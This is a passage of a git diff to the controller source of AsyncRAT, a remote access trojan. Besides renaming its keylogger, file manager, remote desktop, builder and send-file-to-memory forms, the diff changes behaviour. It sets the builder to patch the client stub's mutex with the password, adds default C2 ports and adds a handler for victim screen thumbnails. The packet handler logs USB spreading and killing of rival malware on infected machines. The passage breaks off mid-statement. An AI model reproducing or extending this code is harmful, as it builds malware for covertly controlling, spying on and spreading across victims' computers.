b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.Designer.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs index 1aeb8f3..91396a7 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs @@ -1,6 +1,6 @@ namespace AsyncRAT_Sharp.Forms { - partial class Builder + partial class FormBuilder { /// /// Required designer variable. @@ -28,7 +28,7 @@ /// private void InitializeComponent() { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Builder)); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormBuilder)); this.button1 = new System.Windows.Forms.Button(); this.groupBox1 = new System.Windows.Forms.GroupBox(); this.textPort = new System.Windows.Forms.TextBox(); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs similarity index 96% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs index 6edd50f..06001e7 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs @@ -8,9 +8,9 @@ using System.Threading.Tasks; namespace AsyncRAT_Sharp.Forms { - public partial class Builder : Form + public partial class FormBuilder : Form { - public Builder() + public FormBuilder() { InitializeComponent(); } @@ -57,7 +57,7 @@ namespace AsyncRAT_Sharp.Forms method.Body.Instructions[i].Operand = chkAnti.Checked.ToString().ToLower(); if (method.Body.Instructions[i].Operand.ToString() == "%MTX%") - method.Body.Instructions[i].Operand = Guid.NewGuid().ToString(); + method.Body.Instructions[i].Operand = Settings.Password; //Guid.NewGuid().ToString(); if (method.Body.Instructions[i].Operand.ToString() == "NYAN CAT") method.Body.Instructions[i].Operand = Settings.Password; @@ -99,6 +99,9 @@ namespace AsyncRAT_Sharp.Forms else button1.Enabled = true; } + else + button1.Enabled = true; + } catch (Exception ex) { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.resx rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.Designer.cs similarity index 98% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.Designer.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.Designer.cs index 1c75256..5753742 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.Designer.cs @@ -1,6 +1,6 @@ namespace AsyncRAT_Sharp.Forms { - partial class DownloadFile + partial class FormDownloadFile { /// /// Required designer variable. @@ -29,7 +29,7 @@ private void InitializeComponent() { this.components = new System.ComponentModel.Container(); - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(DownloadFile)); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormDownloadFile)); this.label1 = new System.Windows.Forms.Label(); this.timer1 = new System.Windows.Forms.Timer(this.components); this.labelsize = new System.Windows.Forms.Label(); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs similarity index 92% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs index 5331c24..7e1849a 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs @@ -12,9 +12,9 @@ using System.Threading; namespace AsyncRAT_Sharp.Forms { - public partial class DownloadFile : Form + public partial class FormDownloadFile : Form { - public DownloadFile() + public FormDownloadFile() { InitializeComponent(); } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.resx rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.Designer.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.Designer.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.Designer.cs index 0e879e8..b2a64c5 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.Designer.cs @@ -1,6 +1,6 @@ namespace AsyncRAT_Sharp.Forms { - partial class FileManager + partial class FormFileManager { /// /// Required designer variable. @@ -29,7 +29,7 @@ private void InitializeComponent() { this.components = new System.ComponentModel.Container(); - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FileManager)); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormFileManager)); this.listView1 = new System.Windows.Forms.ListView(); this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs similarity index 95% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs index 8734c40..c5b6587 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs @@ -7,9 +7,9 @@ using System.IO; namespace AsyncRAT_Sharp.Forms { - public partial class FileManager : Form + public partial class FormFileManager : Form { - public FileManager() + public FormFileManager() { InitializeComponent(); } @@ -55,7 +55,7 @@ namespace AsyncRAT_Sharp.Forms msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Path").AsString = path + "\\"; toolStripStatusLabel1.Text = path; - C.BeginSend(msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); } catch { @@ -84,10 +84,10 @@ namespace AsyncRAT_Sharp.Forms ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); this.BeginInvoke((MethodInvoker)(() => { - DownloadFile SD = (DownloadFile)Application.OpenForms["socketDownload:" + dwid]; + FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; if (SD == null) { - SD = new DownloadFile + SD = new FormDownloadFile { Name = "socketDownload:" + dwid, Text = "socketDownload:" + C.ID, diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.resx rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.Designer.cs similarity index 98% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.Designer.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.Designer.cs index e30bcaf..38b65fb 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.Designer.cs @@ -1,6 +1,6 @@ namespace AsyncRAT_Sharp.Forms { - partial class Keylogger + partial class FormKeylogger { /// /// Required designer variable. @@ -29,7 +29,7 @@ private void InitializeComponent() { this.components = new System.ComponentModel.Container(); - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Keylogger)); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormKeylogger)); this.richTextBox1 = new System.Windows.Forms.RichTextBox(); this.timer1 = new System.Windows.Forms.Timer(this.components); this.SuspendLayout(); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.cs similarity index 92% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.cs index 5b5c040..97b9a5b 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.cs @@ -13,9 +13,9 @@ using System.Windows.Forms; namespace AsyncRAT_Sharp.Forms { - public partial class Keylogger : Form + public partial class FormKeylogger : Form { - public Keylogger() + public FormKeylogger() { InitializeComponent(); } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.resx rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/PortsFrm.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.Designer.cs similarity index 96% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/PortsFrm.Designer.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.Designer.cs index ab5490e..a171863 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/PortsFrm.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.Designer.cs @@ -1,6 +1,6 @@ namespace AsyncRAT_Sharp.Forms { - partial class PortsFrm + partial class FormPorts { /// /// Required designer variable. @@ -28,7 +28,7 @@ /// private void InitializeComponent() { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(PortsFrm)); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormPorts)); this.textPorts = new System.Windows.Forms.TextBox(); this.label1 = new System.Windows.Forms.Label(); this.groupBox1 = new System.Windows.Forms.GroupBox(); @@ -93,7 +93,7 @@ this.button1.UseVisualStyleBackColor = true; this.button1.Click += new System.EventHandler(this.button1_Click); // - // PortsFrm + // FormPorts // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; @@ -103,9 +103,8 @@ this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.MaximizeBox = false; this.MinimizeBox = false; - this.Name = "PortsFrm"; + this.Name = "FormPorts"; this.ShowInTaskbar = false; - this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "PortsFrm"; this.TopMost = true; this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.PortsFrm_FormClosed); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/PortsFrm.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs similarity index 89% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/PortsFrm.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs index 38d743b..f5fa981 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/PortsFrm.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs @@ -4,10 +4,10 @@ using System.IO; using System.Diagnostics; namespace AsyncRAT_Sharp.Forms { - public partial class PortsFrm : Form + public partial class FormPorts : Form { private static bool isOK = false; - public PortsFrm() + public FormPorts() { InitializeComponent(); this.Opacity = 0; @@ -15,10 +15,11 @@ namespace AsyncRAT_Sharp.Forms private void PortsFrm_Load(object sender, EventArgs e) { - Methods.FadeIn(this, 5); + Methods.FadeIn(this, 5); textPorts.Text = Settings.Port; + textPorts.Text = "6606, 7707, 8808"; if (Properties.Settings.Default.Ports.Length > 0) textPorts.Text = Properties.Settings.Default.Ports; diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/PortsFrm.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/PortsFrm.resx rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.Designer.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.Designer.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.Designer.cs index 87a18cf..bf71cd7 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.Designer.cs @@ -1,6 +1,6 @@ namespace AsyncRAT_Sharp.Forms { - partial class ProcessManager + partial class FormProcessManager { /// /// Required designer variable. @@ -29,7 +29,7 @@ private void InitializeComponent() { this.components = new System.ComponentModel.Container(); - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ProcessManager)); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormProcessManager)); this.listView1 = new System.Windows.Forms.ListView(); this.lv_name = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_id = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.cs similarity index 95% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.cs index 23308c1..4397b5f 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.cs @@ -13,9 +13,9 @@ using AsyncRAT_Sharp.Sockets; namespace AsyncRAT_Sharp.Forms { - public partial class ProcessManager : Form + public partial class FormProcessManager : Form { - public ProcessManager() + public FormProcessManager() { InitializeComponent(); } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.resx rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.Designer.cs similarity index 86% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.Designer.cs index abaeb4a..f520941 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.Designer.cs @@ -1,6 +1,6 @@ namespace AsyncRAT_Sharp.Forms { - partial class RemoteDesktop + partial class FormRemoteDesktop { /// /// Required designer variable. @@ -29,7 +29,7 @@ private void InitializeComponent() { this.components = new System.ComponentModel.Container(); - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(RemoteDesktop)); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormRemoteDesktop)); this.pictureBox1 = new System.Windows.Forms.PictureBox(); this.timer1 = new System.Windows.Forms.Timer(this.components); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); @@ -47,21 +47,18 @@ // // timer1 // - this.timer1.Enabled = true; - this.timer1.Interval = 1000; + this.timer1.Interval = 2000; this.timer1.Tick += new System.EventHandler(this.timer1_Tick); // - // RemoteDesktop + // FormRemoteDesktop // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(938, 485); this.Controls.Add(this.pictureBox1); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.Name = "RemoteDesktop"; + this.Name = "FormRemoteDesktop"; this.Text = "RemoteDesktop"; - //this.Activated += new System.EventHandler(this.RemoteDesktop_Activated); - //this.Deactivate += new System.EventHandler(this.RemoteDesktop_Deactivate); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); this.ResumeLayout(false); @@ -70,6 +67,6 @@ #endregion public System.Windows.Forms.PictureBox pictureBox1; - private System.Windows.Forms.Timer timer1; + public System.Windows.Forms.Timer timer1; } } \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs similarity index 88% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs index 8a7346b..2310a3e 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs @@ -16,15 +16,16 @@ using System.Threading; namespace AsyncRAT_Sharp.Forms { - public partial class RemoteDesktop : Form + public partial class FormRemoteDesktop : Form { - public RemoteDesktop() + public FormRemoteDesktop() { InitializeComponent(); } public Form1 F { get; set; } internal Clients C { get; set; } + internal Clients C2 { get; set; } public bool Active { get; set; } public int FPS = 0; public Stopwatch sw = Stopwatch.StartNew(); @@ -33,7 +34,7 @@ namespace AsyncRAT_Sharp.Forms private void timer1_Tick(object sender, EventArgs e) { - if (!C.ClientSocket.Connected) this.Close(); + if (!C.ClientSocket.Connected || !C2.ClientSocket.Connected ) this.Close(); } //private void RemoteDesktop_Activated(object sender, EventArgs e) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.resx rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/SendFileToMemory.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.Designer.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/SendFileToMemory.Designer.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.Designer.cs index 2103cad..9c3b1a4 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/SendFileToMemory.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.Designer.cs @@ -1,6 +1,6 @@ namespace AsyncRAT_Sharp { - partial class SendFileToMemory + partial class FormSendFileToMemory { /// /// Required designer variable. @@ -28,7 +28,7 @@ /// private void InitializeComponent() { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(SendFileToMemory)); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormSendFileToMemory)); this.groupBox1 = new System.Windows.Forms.GroupBox(); this.button1 = new System.Windows.Forms.Button(); this.label2 = new System.Windows.Forms.Label(); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/SendFileToMemory.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.cs similarity index 95% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/SendFileToMemory.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.cs index 87c4e93..589696a 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/SendFileToMemory.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.cs @@ -12,9 +12,9 @@ using System.Reflection; namespace AsyncRAT_Sharp { - public partial class SendFileToMemory : Form + public partial class FormSendFileToMemory : Form { - public SendFileToMemory() + public FormSendFileToMemory() { InitializeComponent(); } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/SendFileToMemory.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/SendFileToMemory.resx rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleLogs.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleLogs.cs index 980870a..db85655 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleLogs.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleLogs.cs @@ -12,17 +12,19 @@ namespace AsyncRAT_Sharp.Handle_Packet { public static void Addmsg(string Msg, Color color) { - if (Program.form1.listView1.InvokeRequired) + if (Program.form1.listView2.InvokeRequired) { - Program.form1.listView1.BeginInvoke((MethodInvoker)(() => + Program.form1.listView2.BeginInvoke((MethodInvoker)(() => { ListViewItem LV = new ListViewItem(); LV.Text = DateTime.Now.ToLongTimeString(); LV.SubItems.Add(Msg); LV.ForeColor = color; + Program.form1.listView2.BeginUpdate(); Program.form1.listView2.Items.Insert(0, LV); + Program.form1.listView2.EndUpdate(); })); } } } -} +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs index 9358a9d..2cdd29f 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs @@ -12,16 +12,16 @@ namespace AsyncRAT_Sharp.Handle_Packet { class HandlePacket { - private static cGeoMain cNewGeoUse = new cGeoMain(); + private static readonly cGeoMain cNewGeoUse = new cGeoMain(); public static void Read(object Obj) { try { object[] array = Obj as object[]; - byte[] Data = (byte[])array[0]; - Clients Client = (Clients)array[1]; + byte[] data = (byte[])array[0]; + Clients client = (Clients)array[1]; MsgPack unpack_msgpack = new MsgPack(); - unpack_msgpack.DecodeFromBytes(Data); + unpack_msgpack.DecodeFromBytes(data); switch (unpack_msgpack.ForcePathObject("Packet").AsString) { case "ClientInfo": @@ -29,25 +29,28 @@ namespace AsyncRAT_Sharp.Handle_Packet { Program.form1.listView1.BeginInvoke((MethodInvoker)(() => { - Client.LV = new ListViewItem(); - Client.LV.Tag = Client; - Client.LV.Text = string.Format("{0}:{1}", Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], Client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); - string[] ipinf = cNewGeoUse.GetIpInf(Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); - Client.LV.SubItems.Add(ipinf[1]); - Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString); - Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); - Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); - Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString); - Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString); - Client.LV.ToolTipText = unpack_msgpack.ForcePathObject("Path").AsString; - Client.ID = unpack_msgpack.ForcePathObject("HWID").AsString; - Program.form1.listView1.Items.Insert(0, Client.LV); - lock (Settings.Online) - { - Settings.Online.Add(Client); - } + client.LV = new ListViewItem(); + client.LV.Tag = client; + client.LV.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); + string[] ipinf = cNewGeoUse.GetIpInf(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); + client.LV.SubItems.Add(ipinf[1]); + client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString); + client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); + client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); + client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString); + client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString); + client.LV.ToolTipText = unpack_msgpack.ForcePathObject("Path").AsString; + client.ID = unpack_msgpack.ForcePathObject("HWID").AsString; + Program.form1.listView1.BeginUpdate(); + Program.form1.listView1.Items.Insert(0, client.LV); + Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); + Program.form1.listView1.EndUpdate(); })); - HandleLogs.Addmsg($"Client {Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green); + lock (Settings.Online) + { + Settings.Online.Add(client); + } + HandleLogs.Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green); } break; @@ -57,9 +60,9 @@ namespace AsyncRAT_Sharp.Handle_Packet { Program.form1.listView1.BeginInvoke((MethodInvoker)(() => { - if (Client.LV != null) + if (client.LV != null) { - Client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString; + client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString; } })); } @@ -72,17 +75,51 @@ namespace AsyncRAT_Sharp.Handle_Packet } break; + case "thumbnails": + { + if (Program.form1.listView3.InvokeRequired) + { + Program.form1.listView3.BeginInvoke((MethodInvoker)(() => + { + if (client.LV2 == null) + { + client.LV2 = new ListViewItem(); + client.LV2.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); + client.LV2.ToolTipText = client.ID; + using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) + { + Program.form1.imageList1.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); + client.LV2.ImageKey = client.ID; + Program.form1.listView3.BeginUpdate(); + Program.form1.listView3.Items.Insert(0,client.LV2); + Program.form1.listView3.EndUpdate(); + } + } + else + { + using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) + { + Program.form1.listView3.BeginUpdate(); + Program.form1.imageList1.Images.RemoveByKey(client.ID); + Program.form1.imageList1.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); + Program.form1.listView3.EndUpdate(); + } + } + })); + } + } + break; case "BotKiller": { - HandleLogs.Addmsg($"Client {Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} malwares and killed them successfully", Color.Orange); + HandleLogs.Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} malwares and killed them successfully", Color.Orange); } break; case "usbSpread": { - HandleLogs.Addmsg($"Client {Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} USB drivers and spreaded them successfully", Color.Purple); + HandleLogs.Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} USB drivers and spreaded them successfully", Color.Purple); } break; @@ -92,7 +129,7 @@ namespace AsyncRAT_Sharp.Handle_Packet { Program.form1.listView1.BeginInvoke((MethodInvoker)(() => { - Client.LV.ForeColor = Color.Empty; + client.LV.ForeColor = Color.Empty; })); } } @@ -104,11 +141,16 @@ namespace AsyncRAT_Sharp.Handle_Packet { Program.form1.BeginInvoke((MethodInvoker)(() => { - RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString]; + FormRemoteDesktop RD = 